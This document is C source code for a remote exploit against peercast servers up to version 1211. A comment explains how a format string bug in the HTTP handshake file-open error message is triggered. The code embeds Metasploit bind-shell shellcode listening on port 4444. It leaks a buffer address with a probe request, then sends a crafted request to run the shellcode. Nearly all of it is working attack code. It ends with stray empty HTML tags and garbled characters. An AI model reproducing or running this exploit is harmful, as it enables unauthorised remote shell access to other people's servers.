/* peercast <= v1211 exploit for FreeBSD. * * for me, the peercast server required i know the control password before * i could use it. you could propably guess it. but there might be some way * of getting around it, too, didn't really bother to look. * * format string exploit occurs in the servhs.cpp http handshaking bit * when peercast is pleased with the handshake and tries to open the file. * if the file does not exist, it throws an exception, catches it and prints * out: * * Unable to open file : /html/en/index.html[format string here] * * or something very much like it. the printing takes place in three steps: * first the error, then the colon and then the original user-provided file * name. * * Stream::write is used for printing. the method uses tmp[4096] buffer to * print into, utilizing format strings. I didn't try to overflow the buffer * manually (since it IS a format string vulnerability, after all) but that * might work as well (this buffer and vsprintf without size-checking exists * in the fixed code). * * so, yadayada, format string is used to find the address of our filename * (this worked for me), to overflow the buffer and run shellcode. done. * */ #include #include #include #include #include #include #include /* shellcode from metasploit: * Restricted Characters: 0x00 0x0a 0x20 0x0d 0x3f * * its a linux shellcode, since peercast is run in linux compatiblity mode */ /* linux_ia32_bind - LPORT=4444 Size=108 Encoder=Pex http://metasploit.com */ unsigned char scode[] = "\x33\xc9\x83\xe9\xeb\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x6e" "\xc2\xc1\xf0\x83\xee\xfc\xe2\xf4\x5f\x19\x92\xb3\x3d\xa8\xc3\x9a" "\x08\x9a\x58\x79\x8f\x0f\x41\x66\x2d\x90\xa7\x98\x7f\x9e\xa7\xa3" "\xe7\x23\xab\x96\x36\x92\x90\xa6\xe7\x23\x0c\x70\xde\xa4\x10\x13" "\xa3\x42\x93\xa2\x38\x81\x48\x11\xde\xa4\x0c\x70\xfd\xa8\xc3\xa9" "\xde\xfd\x0c\x70\x27\xbb\x38\x40\x65\x90\xa9\xdf\x41\xb1\xa9\x98" "\x41\xa0\xa8\x9e\xe7\x21\x93\xa3\xe7\x23\x0c\x70"; /* seconds to sleep while waiting for data */ #define SLEEPYTIME 3 #define COMMENTS 0 int main(int argc, char **argv) { unsigned int sock, recv_len, i; struct sockaddr_in sin; char sendbuf[512], recvbuf[8192], *seeker; unsigned long retbuf_addr; if (argc != 4) { fprintf(stderr, "usage: %s host port auth\n\n" "\twhere\n" "\thost is host IP address\n" "\tport is server port (7144)\n" "\tauth is base64(\"admin:pass\")\n\n", argv[0]); exit(1); } memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_port = htons(atoi(argv[2])); sin.sin_addr.s_addr = inet_addr(argv[1]); #if COMMENTS printf("Building probe string.\n"); #endif /* this will fetch us the address of filename buffer */ /* just change the auth line for cookies or no auth at all */ sendbuf[0] = 0; strcat(sendbuf, "GET /html/en/index.html"); strcat(sendbuf, "%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x*%08x"); strcat(sendbuf, " HTTP/1.0\n"); strcat(sendbuf, "Authorization: Basic "); strcat(sendbuf, argv[3]); strcat(sendbuf, "\n\n"); #if COMMENTS printf("Connecting to server.\n"); #endif if ( !(sock = socket(AF_INET, SOCK_STREAM, 0)) ) { fprintf(stderr, "socket(): %s\n", strerror(errno)); exit(1); } if (connect(sock, (struct sockaddr *) &sin, sizeof(struct sockaddr)) == -1) { fprintf(stderr, "connect(): %s\n", strerror(errno)); exit(1); } #if COMMENTS printf("MARCO!\n"); #endif if (send(sock, sendbuf, strlen(sendbuf), 0) == -1) { fprintf(stderr, "send(): %s\n", strerror(errno)); exit(1); } sleep(SLEEPYTIME); if ((recv_len = recv(sock, recvbuf, 8192, 0)) == -1) { fprintf(stderr, "recv(): %s\n", strerror(errno)); exit(1); } recvbuf[recv_len] = 0; #if COMMENTS printf("POLO!\n"); #endif close(sock); /* parse the result for buffer address */ if ((seeker = strchr(recvbuf, '%')) != NULL) { fprintf(stderr, "Server not vulnerable (format" " string unparsed)\n"); exit(1); } if ((seeker = strchr(recvbuf, '*')) == NULL) { fprintf(stderr, "Token to buffer not found in answer." " Odd, bailing.\n"); exit(1); } seeker++; if ((int)(seeker - recvbuf) != recv_len - 8) { fprintf(stderr, "Buffer address the wrong size." " Odd, bailing.\n"); exit(1); } retbuf_addr = strtoll(seeker, NULL, 16) + 0x14; for (i = 0; i < 4; i++) { switch( *( ((unsigned char*)&retbuf_addr) + i) ) { case 0x00: case 0x0a: case 0x0d: case 0x20: case 0x3f: /* it's propably possible to exploit this * anyway, but i don't know how and didn't * need to find out either (yet) */ fprintf(stderr, "Return address contains" " forbidden characters: " "0x%08x.\n", retbuf_addr); exit(1); break; default: break; } } #if COMMENTS printf("Building exploitation string.\n"); #endif sendbuf[0] = 0; sendbuf[strlen(sendbuf) + sizeof(scode)] = 0; strcat(sendbuf, "GET /html/en/index.html"); memcpy(sendbuf + strlen(sendbuf), scode, sizeof(scode)); sprintf(sendbuf + strlen(sendbuf), "%%%du%c%c%c%c", 4052 - sizeof(scode) + 1, /* format string */ *( ((char*)&retbuf_addr) + 0), /* retbuf address */ *( ((char*)&retbuf_addr) + 1), /* endianess assumed */ *( ((char*)&retbuf_addr) + 2), *( ((char*)&retbuf_addr) + 3)); strcat(sendbuf, "BBBBCCCCDDDDAAAABBBBCCCCDDDD HTTP/1.0\n"); strcat(sendbuf, "Authorization: Basic "); strcat(sendbuf, argv[3]); strcat(sendbuf, "\n\n"); printf("%s", sendbuf); #if COMMENTS printf("Connecting to server, again.\n"); #endif if ( !(sock = socket(AF_INET, SOCK_STREAM, 0)) ) { fprintf(stderr, "socket(): %s\n", strerror(errno)); exit(1); } if (connect(sock, (struct sockaddr *) &sin, sizeof(struct sockaddr)) == -1) { fprintf(stderr, "connect(): %s\n", strerror(errno)); exit(1); } #if COMMENTS printf("Exploiting.\n"); #endif if (send(sock, sendbuf, strlen(sendbuf), 0) == -1) { fprintf(stderr, "send(): %s\n", strerror(errno)); exit(1); } sleep(SLEEPYTIME); if ((recv_len = recv(sock, recvbuf, 8192, 0)) == -1) { fprintf(stderr, "recv(): %s\n", strerror(errno)); exit(1); } #if COMMENTS printf("All done.\n"); #endif close(sock); return 0; }
<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            ÑÇÖÞÅ·ÃÀÔÚÏß